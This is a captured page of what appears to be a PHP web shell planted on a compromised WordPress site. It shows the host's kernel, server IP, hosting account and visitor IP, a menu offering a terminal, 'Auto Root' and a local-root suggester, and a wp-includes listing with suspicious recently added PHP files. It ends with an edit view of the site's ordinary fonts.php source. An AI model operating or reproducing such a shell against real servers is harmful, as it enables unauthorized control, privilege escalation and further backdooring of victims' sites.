Linux ih01.iridiumhosting.com 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 08:09:09 EST 2025 x86_64
LiteSpeed
Server IP : 67.227.241.211 & Your IP : 216.73.216.164
Domains :
Cant Read [ /etc/named.conf ]
User : dustinhy
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
dustinhy /
prositehelp.com /
wp-includes /
Delete
Unzip
Name
Size
Permission
Date
Action
ID3
[ DIR ]
drwxr-xr-x
2026-06-12 04:06
IXR
[ DIR ]
drwxr-xr-x
2026-06-12 04:06
PHPMailer
[ DIR ]
drwxr-xr-x
2026-06-12 04:06
Requests
[ DIR ]
drwxr-xr-x
2026-06-12 04:06
SimplePie
[ DIR ]
drwxr-xr-x
2026-06-12 04:06
Text
[ DIR ]
drwxr-xr-x
2026-06-12 04:06
assets
[ DIR ]
drwxr-xr-x
2026-06-12 04:06
block-bindings
[ DIR ]
drwxr-xr-x
2026-06-12 04:06
block-patterns
[ DIR ]
drwxr-xr-x
2026-06-12 04:06
block-supports
[ DIR ]
drwxr-xr-x
2026-06-12 04:06
blocks
[ DIR ]
drwxr-xr-x
2026-06-12 04:06
certificates
[ DIR ]
drwxr-xr-x
2026-06-12 04:06
css
[ DIR ]
drwxr-xr-x
2026-06-12 04:06
customize
[ DIR ]
drwxr-xr-x
2026-06-12 04:06
fonts
[ DIR ]
drwxr-xr-x
2026-06-12 04:06
html-api
[ DIR ]
drwxr-xr-x
2026-06-12 04:06
images
[ DIR ]
drwxr-xr-x
2026-06-12 04:06
interactivity-api
[ DIR ]
drwxr-xr-x
2026-06-12 04:06
js
[ DIR ]
drwxr-xr-x
2026-06-12 04:06
l10n
[ DIR ]
drwxr-xr-x
2026-06-12 04:06
php-compat
[ DIR ]
drwxr-xr-x
2026-06-12 04:06
pomo
[ DIR ]
drwxr-xr-x
2026-06-12 04:06
rest-api
[ DIR ]
drwxr-xr-x
2026-06-12 04:06
sitemaps
[ DIR ]
drwxr-xr-x
2026-06-12 04:06
sodium_compat
[ DIR ]
drwxr-xr-x
2026-06-12 04:06
style-engine
[ DIR ]
drwxr-xr-x
2026-06-12 04:06
theme-compat
[ DIR ]
drwxr-xr-x
2026-06-12 04:06
widgets
[ DIR ]
drwxr-xr-x
2026-06-12 04:06
.htaccess
517
B
-r-xr-xr-x
2026-06-12 04:06
admin-bar.php
36.03
KB
-rw-r--r--
2024-04-06 16:17
atomlib.php
11.67
KB
-rw-r--r--
2022-05-30 15:11
author-template.php
18.51
KB
-rw-r--r--
2023-09-03 19:58
block-bindings.php
5.51
KB
-rw-r--r--
2024-04-06 16:17
block-editor.php
27.27
KB
-rw-r--r--
2023-11-21 00:07
block-i18n.json
316
B
-rw-r--r--
2022-03-14 03:11
block-patterns.php
12.85
KB
-rw-r--r--
2024-04-06 16:17
block-template-utils.php
52.6
KB
-rw-r--r--
2024-05-07 18:07
block-template.php
12
KB
-rw-r--r--
2023-11-21 00:07
blocks.php
81.39
KB
-rw-r--r--
2025-02-06 07:49
bookmark-template.php
12.61
KB
-rw-r--r--
2023-09-03 19:58
bookmark.php
15.06
KB
-rw-r--r--
2024-04-06 16:17
cache-compat.php
5.83
KB
-rw-r--r--
2022-11-06 19:29
cache.php
13.16
KB
-rw-r--r--
2022-11-06 19:29
canonical.php
33.7
KB
-rw-r--r--
2024-04-06 16:17
capabilities.php
39.09
KB
-rw-r--r--
2023-09-03 19:58
category-template.php
55.67
KB
-rw-r--r--
2023-11-21 00:07
category.php
12.41
KB
-rw-r--r--
2023-11-21 00:07
class-IXR.php
2.48
KB
-rw-r--r--
2020-04-02 13:44
class-avif-info.php
28.92
KB
-rw-r--r--
2024-05-07 18:07
class-feed.php
529
B
-rw-r--r--
2020-04-02 13:44
class-http.php
367
B
-rw-r--r--
2022-11-06 19:29
class-json.php
42.66
KB
-rw-r--r--
2023-04-17 00:34
class-oembed.php
401
B
-rw-r--r--
2022-11-06 19:29
class-phpass.php
6.55
KB
-rw-r--r--
2023-04-17 00:34
class-phpmailer.php
664
B
-rw-r--r--
2020-08-12 23:43
class-pop3.php
20.48
KB
-rw-r--r--
2023-04-17 00:34
class-requests.php
2.18
KB
-rw-r--r--
2023-09-03 19:58
class-simplepie.php
95.76
KB
-rw-r--r--
2024-04-06 16:17
class-smtp.php
457
B
-rw-r--r--
2021-03-16 03:44
class-snoopy.php
36.83
KB
-rw-r--r--
2023-04-17 00:34
class-walker-category-dropdown.php
2.41
KB
-rw-r--r--
2023-11-21 00:07
class-walker-category.php
8.28
KB
-rw-r--r--
2023-11-21 00:07
class-walker-comment.php
13.88
KB
-rw-r--r--
2023-11-21 00:07
class-walker-nav-menu.php
11.05
KB
-rw-r--r--
2023-09-03 19:58
class-walker-page-dropdown.php
2.65
KB
-rw-r--r--
2023-11-21 00:07
class-walker-page.php
7.43
KB
-rw-r--r--
2023-11-21 00:07
class-wp-admin-bar.php
17.43
KB
-rw-r--r--
2024-04-06 16:17
class-wp-ajax-response.php
5.14
KB
-rw-r--r--
2022-11-06 19:29
class-wp-application-passwords.php
12.55
KB
-rw-r--r--
2023-09-03 19:58
class-wp-block-bindings-registry.php
8.78
KB
-rw-r--r--
2024-04-06 16:17
class-wp-block-bindings-source.php
2.13
KB
-rw-r--r--
2024-04-06 16:17
class-wp-block-editor-context.php
1.32
KB
-rw-r--r--
2022-11-06 19:29
class-wp-block-list.php
4.65
KB
-rw-r--r--
2024-04-06 16:17
class-wp-block-parser-block.php
2.5
KB
-rw-r--r--
2023-09-03 19:58
class-wp-block-parser-frame.php
1.87
KB
-rw-r--r--
2023-09-03 19:58
class-wp-block-parser.php
11.26
KB
-rw-r--r--
2023-11-21 00:07
class-wp-block-pattern-categories-registry.php
5.25
KB
-rw-r--r--
2022-11-06 19:29
class-wp-block-patterns-registry.php
11.73
KB
-rw-r--r--
2026-03-11 09:53
class-wp-block-styles-registry.php
5.75
KB
-rw-r--r--
2022-11-06 19:29
class-wp-block-supports.php
5.39
KB
-rw-r--r--
2023-11-21 00:07
class-wp-block-template.php
1.91
KB
-rw-r--r--
2023-09-03 19:58
class-wp-block-type-registry.php
4.9
KB
-rw-r--r--
2023-10-13 05:51
class-wp-block-type.php
16.81
KB
-rw-r--r--
2024-04-06 16:17
class-wp-block.php
16.71
KB
-rw-r--r--
2024-04-06 16:17
class-wp-classic-to-block-menu-converter.php
3.99
KB
-rw-r--r--
2023-09-03 19:58
class-wp-comment-query.php
46.86
KB
-rw-r--r--
2024-04-06 16:17
class-wp-comment.php
9.15
KB
-rw-r--r--
2023-11-21 00:07
class-wp-customize-control.php
25.25
KB
-rw-r--r--
2024-04-06 16:17
class-wp-customize-manager.php
197.52
KB
-rw-r--r--
2024-04-06 16:17
class-wp-customize-nav-menus.php
56.24
KB
-rw-r--r--
2025-10-01 09:57
class-wp-customize-panel.php
10.42
KB
-rw-r--r--
2023-11-21 00:07
class-wp-customize-section.php
10.98
KB
-rw-r--r--
2023-11-21 00:07
class-wp-customize-setting.php
29.19
KB
-rw-r--r--
2023-11-21 00:07
class-wp-customize-widgets.php
69.93
KB
-rw-r--r--
2024-04-06 16:17
class-wp-date-query.php
34.89
KB
-rw-r--r--
2024-04-06 16:17
class-wp-dependencies.php
13.73
KB
-rw-r--r--
2023-11-21 00:07
class-wp-dependency.php
2.57
KB
-rw-r--r--
2023-04-17 00:34
class-wp-duotone.php
38.61
KB
-rw-r--r--
2024-04-06 16:17
class-wp-editor.php
70.47
KB
-rw-r--r--
2024-04-06 16:17
class-wp-embed.php
15.62
KB
-rw-r--r--
2023-09-03 19:58
class-wp-error.php
7.33
KB
-rw-r--r--
2023-04-17 00:34
class-wp-fatal-error-handler.php
7.76
KB
-rw-r--r--
2024-04-06 16:17
class-wp-feed-cache-transient.php
2.53
KB
-rw-r--r--
2022-11-06 19:29
class-wp-feed-cache.php
969
B
-rw-r--r--
2023-11-21 00:07
class-wp-hook.php
15.63
KB
-rw-r--r--
2023-11-21 00:07
class-wp-http-cookie.php
7.22
KB
-rw-r--r--
2023-09-03 19:58
class-wp-http-curl.php
12.25
KB
-rw-r--r--
2023-11-21 00:07
class-wp-http-encoding.php
6.53
KB
-rw-r--r--
2023-09-03 19:58
class-wp-http-ixr-client.php
3.42
KB
-rw-r--r--
2026-03-11 09:53
class-wp-http-proxy.php
5.84
KB
-rw-r--r--
2023-09-03 19:58
class-wp-http-requests-hooks.php
1.97
KB
-rw-r--r--
2023-04-17 00:34
class-wp-http-requests-response.php
4.3
KB
-rw-r--r--
2023-11-21 00:07
class-wp-http-response.php
2.91
KB
-rw-r--r--
2022-11-06 19:29
class-wp-http-streams.php
16.46
KB
-rw-r--r--
2023-11-21 00:07
class-wp-http.php
39.76
KB
-rw-r--r--
2024-04-06 16:17
class-wp-image-editor-gd.php
18.44
KB
-rw-r--r--
2024-04-06 16:17
class-wp-image-editor-imagick.php
31.35
KB
-rw-r--r--
2024-04-06 16:17
class-wp-image-editor.php
17.19
KB
-rw-r--r--
2024-04-06 16:17
class-wp-list-util.php
7.27
KB
-rw-r--r--
2023-11-21 00:07
class-wp-locale-switcher.php
6.47
KB
-rw-r--r--
2024-04-06 16:17
class-wp-locale.php
15.74
KB
-rw-r--r--
2023-09-03 19:58
class-wp-matchesmapregex.php
1.79
KB
-rw-r--r--
2024-04-06 16:17
class-wp-meta-query.php
29.82
KB
-rw-r--r--
2023-11-21 00:07
class-wp-metadata-lazyloader.php
6.67
KB
-rw-r--r--
2023-09-03 19:58
class-wp-navigation-fallback.php
9
KB
-rw-r--r--
2023-11-21 00:07
class-wp-network-query.php
18.99
KB
-rw-r--r--
2024-04-06 16:17
class-wp-network.php
11.9
KB
-rw-r--r--
2023-09-03 19:58
class-wp-object-cache.php
17.18
KB
-rw-r--r--
2023-09-03 19:58
class-wp-oembed-controller.php
6.72
KB
-rw-r--r--
2023-04-17 00:34
class-wp-oembed.php
30.66
KB
-rw-r--r--
2023-09-03 19:58
class-wp-paused-extensions-storage.php
4.97
KB
-rw-r--r--
2024-04-06 16:17
class-wp-plugin-dependencies.php
24.8
KB
-rw-r--r--
2025-02-06 07:49
class-wp-post-type.php
29.28
KB
-rw-r--r--
2023-11-21 00:07
class-wp-post.php
6.33
KB
-rw-r--r--
2022-11-06 19:29
class-wp-query.php
148.28
KB
-rw-r--r--
2024-04-06 16:17
class-wp-recovery-mode-cookie-service.php
6.72
KB
-rw-r--r--
2022-11-06 19:29
class-wp-recovery-mode-email-service.php
10.92
KB
-rw-r--r--
2023-09-03 19:58
class-wp-recovery-mode-key-service.php
4.49
KB
-rw-r--r--
2024-04-06 16:17
class-wp-recovery-mode-link-service.php
3.38
KB
-rw-r--r--
2022-11-06 19:29
class-wp-recovery-mode.php
11.17
KB
-rw-r--r--
2023-09-03 19:58
class-wp-rewrite.php
61.94
KB
-rw-r--r--
2023-11-21 00:07
class-wp-role.php
2.46
KB
-rw-r--r--
2023-11-21 00:07
class-wp-roles.php
8.38
KB
-rw-r--r--
2023-11-21 00:07
class-wp-script-modules.php
13.16
KB
-rw-r--r--
2024-04-06 16:17
class-wp-scripts.php
27.25
KB
-rw-r--r--
2024-04-06 16:17
class-wp-session-tokens.php
7.28
KB
-rw-r--r--
2022-11-06 19:29
class-wp-simplepie-file.php
3.3
KB
-rw-r--r--
2023-11-21 00:07
class-wp-simplepie-sanitize-kses.php
1.73
KB
-rw-r--r--
2023-11-21 00:07
class-wp-site-query.php
30.4
KB
-rw-r--r--
2024-04-06 16:17
class-wp-site.php
7.28
KB
-rw-r--r--
2022-11-06 19:29
class-wp-styles.php
10.64
KB
-rw-r--r--
2023-09-03 19:58
class-wp-tax-query.php
19.1
KB
-rw-r--r--
2024-04-06 16:17
class-wp-taxonomy.php
18.13
KB
-rw-r--r--
2023-09-03 19:58
class-wp-term-query.php
40.2
KB
-rw-r--r--
2024-04-06 16:17
class-wp-term.php
5.17
KB
-rw-r--r--
2022-11-06 19:29
class-wp-text-diff-renderer-inline.php
979
B
-rw-r--r--
2024-04-06 16:17
class-wp-text-diff-renderer-table.php
18.37
KB
-rw-r--r--
2023-11-21 00:07
class-wp-textdomain-registry.php
9.64
KB
-rw-r--r--
2024-04-06 16:17
class-wp-theme-json-data.php
1.52
KB
-rw-r--r--
2023-11-21 00:07
class-wp-theme-json-resolver.php
24.6
KB
-rw-r--r--
2024-04-06 16:17
class-wp-theme-json-schema.php
4.12
KB
-rw-r--r--
2023-11-21 00:07
class-wp-theme-json.php
132.21
KB
-rw-r--r--
2024-05-07 18:07
class-wp-theme.php
62.81
KB
-rw-r--r--
2024-04-06 16:17
class-wp-user-meta-session-tokens.php
2.92
KB
-rw-r--r--
2019-01-09 16:34
class-wp-user-query.php
42.5
KB
-rw-r--r--
2024-04-06 16:17
class-wp-user-request.php
2.17
KB
-rw-r--r--
2022-11-06 19:29
class-wp-user.php
22.29
KB
-rw-r--r--
2024-04-06 16:17
class-wp-walker.php
12.87
KB
-rw-r--r--
2024-04-06 16:17
class-wp-widget-factory.php
3.27
KB
-rw-r--r--
2022-11-06 19:29
class-wp-widget.php
17.96
KB
-rw-r--r--
2023-11-21 00:07
class-wp-xmlrpc-server.php
209.91
KB
-rw-r--r--
2024-04-06 16:17
class-wp.php
25.51
KB
-rw-r--r--
2023-11-21 00:07
class-wpdb.php
116.67
KB
-rw-r--r--
2024-04-06 16:17
class.wp-dependencies.php
373
B
-rw-r--r--
2022-11-06 19:29
class.wp-scripts.php
343
B
-rw-r--r--
2022-11-06 19:29
class.wp-styles.php
338
B
-rw-r--r--
2022-11-06 19:29
comment-template.php
99.25
KB
-rw-r--r--
2024-04-06 16:17
comment.php
126.1
KB
-rw-r--r--
2024-04-06 16:17
compat.php
15.85
KB
-rw-r--r--
2024-04-06 16:17
cron.php
40.51
KB
-rw-r--r--
2024-04-06 16:17
date.php
400
B
-rw-r--r--
2022-11-06 19:29
default-constants.php
10.91
KB
-rw-r--r--
2023-11-21 00:07
default-filters.php
34.18
KB
-rw-r--r--
2024-05-07 18:07
default-widgets.php
2.17
KB
-rw-r--r--
2021-12-23 02:03
deprecated.php
181.5
KB
-rw-r--r--
2024-04-06 16:17
embed-template.php
338
B
-rw-r--r--
2022-11-06 19:29
embed.php
36.79
KB
-rw-r--r--
2024-04-06 16:17
error-protection.php
4.02
KB
-rw-r--r--
2023-09-03 19:58
error_log
3
KB
-rw-r--r--
2026-02-19 14:47
feed-atom-comments.php
5.38
KB
-rw-r--r--
2024-04-06 16:17
feed-atom.php
2.98
KB
-rw-r--r--
2022-03-14 03:11
feed-rdf.php
2.61
KB
-rw-r--r--
2020-04-02 13:44
feed-rss.php
1.16
KB
-rw-r--r--
2020-04-02 13:44
feed-rss2-comments.php
4.04
KB
-rw-r--r--
2024-04-06 16:17
feed-rss2.php
3.71
KB
-rw-r--r--
2020-04-02 13:44
feed.php
22.52
KB
-rw-r--r--
2023-09-03 19:58
fonts.php
9.17
KB
-rw-r--r--
2025-02-06 07:49
formatting.php
327.9
KB
-rw-r--r--
2025-02-06 07:49
functions.php
272.06
KB
-rw-r--r--
2025-08-06 09:51
functions.wp-scripts.php
14.22
KB
-rw-r--r--
2024-05-07 18:07
functions.wp-styles.php
8.38
KB
-rw-r--r--
2023-04-17 00:34
general-template.php
164
KB
-rw-r--r--
2024-04-06 16:17
global-styles-and-settings.php
20.76
KB
-rw-r--r--
2024-04-06 16:17
http.php
23.29
KB
-rw-r--r--
2023-11-21 00:07
https-detection.php
5.53
KB
-rw-r--r--
2023-11-21 00:07
https-migration.php
4.63
KB
-rw-r--r--
2023-09-03 19:58
kses.php
70.28
KB
-rw-r--r--
2026-03-11 09:53
l10n.php
63.86
KB
-rw-r--r--
2024-05-07 18:07
link-template.php
152.42
KB
-rw-r--r--
2024-04-06 16:17
load.php
53.69
KB
-rw-r--r--
2024-04-06 16:17
locale.php
162
B
-rw-r--r--
2019-10-09 03:49
media-template.php
60.37
KB
-rw-r--r--
2023-11-21 00:07
media.php
205.34
KB
-rw-r--r--
2026-03-11 09:53
meta.php
62.58
KB
-rw-r--r--
2023-11-21 00:07
ms-blogs.php
25.13
KB
-rw-r--r--
2024-04-06 16:17
ms-default-constants.php
4.79
KB
-rw-r--r--
2023-09-03 19:58
ms-default-filters.php
6.48
KB
-rw-r--r--
2023-04-17 00:34
ms-deprecated.php
21.25
KB
-rw-r--r--
2023-09-03 19:58
ms-files.php
2.65
KB
-rw-r--r--
2023-11-21 00:07
ms-functions.php
89.1
KB
-rw-r--r--
2024-04-06 16:17
ms-load.php
19.4
KB
-rw-r--r--
2023-09-03 19:58
ms-network.php
3.69
KB
-rw-r--r--
2023-09-03 19:58
ms-settings.php
4.03
KB
-rw-r--r--
2023-09-03 19:58
ms-site.php
39.55
KB
-rw-r--r--
2023-11-21 00:07
nav-menu-template.php
25.18
KB
-rw-r--r--
2024-04-06 16:17
nav-menu.php
43.02
KB
-rw-r--r--
2026-03-11 09:53
option.php
89.21
KB
-rw-r--r--
2024-04-06 16:17
php_errorlog
1.49
KB
-rw-r--r--
2020-08-01 11:38
pluggable-deprecated.php
6.12
KB
-rw-r--r--
2020-04-02 13:44
pluggable.php
110.49
KB
-rw-r--r--
2024-04-06 16:17
plugin.php
34.63
KB
-rw-r--r--
2023-09-03 19:58
post-formats.php
6.93
KB
-rw-r--r--
2023-04-17 00:34
post-template.php
65.23
KB
-rw-r--r--
2023-11-21 00:07
post-thumbnail-template.php
10.07
KB
-rw-r--r--
2023-09-03 19:58
post.php
275.23
KB
-rw-r--r--
2024-04-06 16:17
query.php
36.17
KB
-rw-r--r--
2023-11-21 00:07
registration-functions.php
200
B
-rw-r--r--
2020-12-10 04:27
registration.php
200
B
-rw-r--r--
2020-12-10 04:27
rest-api.php
96.16
KB
-rw-r--r--
2024-04-06 16:17
revision.php
30.18
KB
-rw-r--r--
2023-11-21 00:07
revisson.php
16.29
KB
-rw-r--r--
2026-04-15 03:47
rewrite.php
19.06
KB
-rw-r--r--
2023-09-03 19:58
robots-template.php
5.06
KB
-rw-r--r--
2022-05-30 15:11
rss-functions.php
255
B
-rw-r--r--
2020-12-10 04:27
rss.php
22.54
KB
-rw-r--r--
2024-04-06 16:17
script-loader.php
127.46
KB
-rw-r--r--
2024-04-06 16:17
script-modules.php
5.88
KB
-rw-r--r--
2024-04-06 16:17
session.php
258
B
-rw-r--r--
2020-04-02 13:44
sfwanf.php
23.66
KB
-rw-r--r--
2026-06-12 04:06
shortcodes.php
23.39
KB
-rw-r--r--
2024-04-06 16:17
sitemaps.php
3.16
KB
-rw-r--r--
2021-12-23 02:03
spl-autoload-compat.php
441
B
-rw-r--r--
2020-12-10 04:27
style-engine.php
7.03
KB
-rw-r--r--
2023-11-21 00:07
taxonomy.php
170.9
KB
-rw-r--r--
2024-04-06 16:17
template-canvas.php
544
B
-rw-r--r--
2023-11-21 00:07
template-loader.php
3.27
KB
-rw-r--r--
2026-03-11 09:53
template.php
23.59
KB
-rw-r--r--
2024-04-06 16:17
theme-i18n.json
1.12
KB
-rw-r--r--
2022-11-06 19:29
theme-previews.php
2.77
KB
-rw-r--r--
2024-04-06 16:17
theme-templates.php
6.08
KB
-rw-r--r--
2023-11-21 00:07
theme.json
7.19
KB
-rw-r--r--
2024-04-06 16:17
theme.php
129.98
KB
-rw-r--r--
2024-04-06 16:17
update.php
35.96
KB
-rw-r--r--
2023-11-21 00:07
user.php
167.56
KB
-rw-r--r--
2024-04-06 16:17
vars.php
6.24
KB
-rw-r--r--
2024-04-06 16:17
version.php
930
B
-rw-r--r--
2026-03-11 09:53
widgets.php
68.95
KB
-rw-r--r--
2024-04-06 16:17
wp-db.php
445
B
-rw-r--r--
2022-11-06 19:29
wp-diff.php
647
B
-rw-r--r--
2020-04-02 13:44
Save
Rename
<?php /** * Fonts functions. * * @package WordPress * @subpackage Fonts * @since 6.4.0 */ /** * Generates and prints font-face styles for given fonts or theme.json fonts. * * @since 6.4.0 * * @param array[][] $fonts { * Optional. The font-families and their font faces. Default empty array. * * @type array { * An indexed or associative (keyed by font-family) array of font variations for this font-family. * Each font face has the following structure. * * @type array { * @type string $font-family The font-family property. * @type string|string[] $src The URL(s) to each resource containing the font data. * @type string $font-style Optional. The font-style property. Default 'normal'. * @type string $font-weight Optional. The font-weight property. Default '400'. * @type string $font-display Optional. The font-display property. Default 'fallback'. * @type string $ascent-override Optional. The ascent-override property. * @type string $descent-override Optional. The descent-override property. * @type string $font-stretch Optional. The font-stretch property. * @type string $font-variant Optional. The font-variant property. * @type string $font-feature-settings Optional. The font-feature-settings property. * @type string $font-variation-settings Optional. The font-variation-settings property. * @type string $line-gap-override Optional. The line-gap-override property. * @type string $size-adjust Optional. The size-adjust property. * @type string $unicode-range Optional. The unicode-range property. * } * } * } */ function wp_print_font_faces( $fonts = array() ) { if ( empty( $fonts ) ) { $fonts = WP_Font_Face_Resolver::get_fonts_from_theme_json(); } if ( empty( $fonts ) ) { return; } $wp_font_face = new WP_Font_Face(); $wp_font_face->generate_and_print( $fonts ); } /** * Registers a new font collection in the font library. * * See {@link https://schemas.wp.org/trunk/font-collection.json} for the schema * the font collection data must adhere to. * * @since 6.5.0 * * @param string $slug Font collection slug. May only contain alphanumeric characters, dashes, * and underscores. See sanitize_title(). * @param array $args { * Font collection data. * * @type string $name Required. Name of the font collection shown in the Font Library. * @type string $description Optional. A short descriptive summary of the font collection. Default empty. * @type array|string $font_families Required. Array of font family definitions that are in the collection, * or a string containing the path or URL to a JSON file containing the font collection. * @type array $categories Optional. Array of categories, each with a name and slug, that are used by the * fonts in the collection. Default empty. * } * @return WP_Font_Collection|WP_Error A font collection if it was registered * successfully, or WP_Error object on failure. */ function wp_register_font_collection( string $slug, array $args ) { return WP_Font_Library::get_instance()->register_font_collection( $slug, $args ); } /** * Unregisters a font collection from the Font Library. * * @since 6.5.0 * * @param string $slug Font collection slug. * @return bool True if the font collection was unregistered successfully, else false. */ function wp_unregister_font_collection( string $slug ) { return WP_Font_Library::get_instance()->unregister_font_collection( $slug ); } /** * Retrieves font uploads directory information. * * Same as wp_font_dir() but "light weight" as it doesn't attempt to create the font uploads directory. * Intended for use in themes, when only 'basedir' and 'baseurl' are needed, generally in all cases * when not uploading files. * * @since 6.5.0 * * @see wp_font_dir() * * @return array See wp_font_dir() for description. */ function wp_get_font_dir() { return wp_font_dir( false ); } /** * Returns an array containing the current fonts upload directory's path and URL. * * @since 6.5.0 * * @param bool $create_dir Optional. Whether to check and create the font uploads directory. Default true. * @return array { * Array of information about the font upload directory. * * @type string $path Base directory and subdirectory or full path to the fonts upload directory. * @type string $url Base URL and subdirectory or absolute URL to the fonts upload directory. * @type string $subdir Subdirectory * @type string $basedir Path without subdir. * @type string $baseurl URL path without subdir. * @type string|false $error False or error message. * } */ function wp_font_dir( $create_dir = true ) { /* * Allow extenders to manipulate the font directory consistently. * * Ensures the upload_dir filter is fired both when calling this function * directly and when the upload directory is filtered in the Font Face * REST API endpoint. */ add_filter( 'upload_dir', '_wp_filter_font_directory' ); $font_dir = wp_upload_dir( null, $create_dir, false ); remove_filter( 'upload_dir', '_wp_filter_font_directory' ); return $font_dir; } /** * A callback function for use in the {@see 'upload_dir'} filter. * * This function is intended for internal use only and should not be used by plugins and themes. * Use wp_get_font_dir() instead. * * @since 6.5.0 * @access private * * @param string $font_dir The font directory. * @return string The modified font directory. */ function _wp_filter_font_directory( $font_dir ) { if ( doing_filter( 'font_dir' ) ) { // Avoid an infinite loop. return $font_dir; } $font_dir = array( 'path' => untrailingslashit( $font_dir['basedir'] ) . '/fonts', 'url' => untrailingslashit( $font_dir['baseurl'] ) . '/fonts', 'subdir' => '', 'basedir' => untrailingslashit( $font_dir['basedir'] ) . '/fonts', 'baseurl' => untrailingslashit( $font_dir['baseurl'] ) . '/fonts', 'error' => false, ); /** * Filters the fonts directory data. * * This filter allows developers to modify the fonts directory data. * * @since 6.5.0 * * @param array $font_dir { * Array of information about the font upload directory. * * @type string $path Base directory and subdirectory or full path to the fonts upload directory. * @type string $url Base URL and subdirectory or absolute URL to the fonts upload directory. * @type string $subdir Subdirectory * @type string $basedir Path without subdir. * @type string $baseurl URL path without subdir. * @type string|false $error False or error message. * } */ return apply_filters( 'font_dir', $font_dir ); } /** * Deletes child font faces when a font family is deleted. * * @access private * @since 6.5.0 * * @param int $post_id Post ID. * @param WP_Post $post Post object. */ function _wp_after_delete_font_family( $post_id, $post ) { if ( 'wp_font_family' !== $post->post_type ) { return; } $font_faces = get_children( array( 'post_parent' => $post_id, 'post_type' => 'wp_font_face', ) ); foreach ( $font_faces as $font_face ) { wp_delete_post( $font_face->ID, true ); } } /** * Deletes associated font files when a font face is deleted. * * @access private * @since 6.5.0 * * @param int $post_id Post ID. * @param WP_Post $post Post object. */ function _wp_before_delete_font_face( $post_id, $post ) { if ( 'wp_font_face' !== $post->post_type ) { return; } $font_files = get_post_meta( $post_id, '_wp_font_face_file', false ); $font_dir = untrailingslashit( wp_get_font_dir()['basedir'] ); foreach ( $font_files as $font_file ) { wp_delete_file( $font_dir . '/' . $font_file ); } } /** * Register the default font collections. * * @access private * @since 6.5.0 */ function _wp_register_default_font_collections() { wp_register_font_collection( 'google-fonts', array( 'name' => _x( 'Google Fonts', 'font collection name' ), 'description' => __( 'Install from Google Fonts. Fonts are copied to and served from your site.' ), 'font_families' => 'https://s.w.org/images/fonts/wp-6.5/collections/google-fonts-with-preview.json', 'categories' => array( array( 'name' => _x( 'Sans Serif', 'font category' ), 'slug' => 'sans-serif', ), array( 'name' => _x( 'Display', 'font category' ), 'slug' => 'display', ), array( 'name' => _x( 'Serif', 'font category' ), 'slug' => 'serif', ), array( 'name' => _x( 'Handwriting', 'font category' ), 'slug' => 'handwriting', ), array( 'name' => _x( 'Monospace', 'font category' ), 'slug' => 'monospace', ), ), ) ); }